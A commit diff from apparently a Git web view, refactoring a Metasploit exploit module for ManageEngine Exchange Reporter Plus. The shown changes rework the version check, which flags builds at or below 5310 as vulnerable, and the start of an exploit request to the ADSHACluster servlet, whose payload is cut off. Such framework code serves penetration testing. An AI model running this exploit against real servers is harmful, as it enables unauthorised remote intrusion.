Code review changes
Use target_uri, split url inside normalize function, replace print with vprint, return CheckCode::AppearsGSoC/Meterpreter_Web_Console
parent
2196640de4
commit
486225c2a8
|
@ -46,39 +46,41 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def check
|
def check
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'], '/exchange/servlet/GetProductVersion')
|
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
|
||||||
})
|
})
|
||||||
|
|
||||||
if res && res.code == 200
|
unless res
|
||||||
begin
|
vprint_error 'Connection failed'
|
||||||
json = res.get_json_document
|
return CheckCode::Safe
|
||||||
rescue JSON::ParserError => e
|
|
||||||
print_error("Failed: #{e.class} - #{e.message}")
|
|
||||||
return Exploit::CheckCode::Unknown
|
|
||||||
end
|
|
||||||
|
|
||||||
if json.empty? || !json['BUILD_NUMBER']
|
|
||||||
print_error("Wrong server response")
|
|
||||||
return Exploit::CheckCode::Unknown
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status "Version: #{json['BUILD_NUMBER']}"
|
|
||||||
|
|
||||||
if json['BUILD_NUMBER'].to_i <= 5310
|
|
||||||
Exploit::CheckCode::Vulnerable
|
|
||||||
else
|
|
||||||
Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
else
|
|
||||||
Exploit::CheckCode::Unknown
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
json = res.get_json_document
|
||||||
|
raise if json.empty? || !json['BUILD_NUMBER']
|
||||||
|
rescue
|
||||||
|
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status "Version: #{json['BUILD_NUMBER']}"
|
||||||
|
|
||||||
|
if json['BUILD_NUMBER'].to_i <= 5310
|
||||||
|
return CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'], '/exchange/servlet/ADSHACluster'),
|
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
|
||||||
'vars_post' => {
|
'vars_post' => {
|
||||||
'MTCALL' => "nativeClient",
|
'MTCALL' => "nativeClient",
|
||||||
'BCP_RLL' => "0102",
|
'BCP_RLL' => "0102",
|
||||||
|
|
Loading…
Reference in New Issue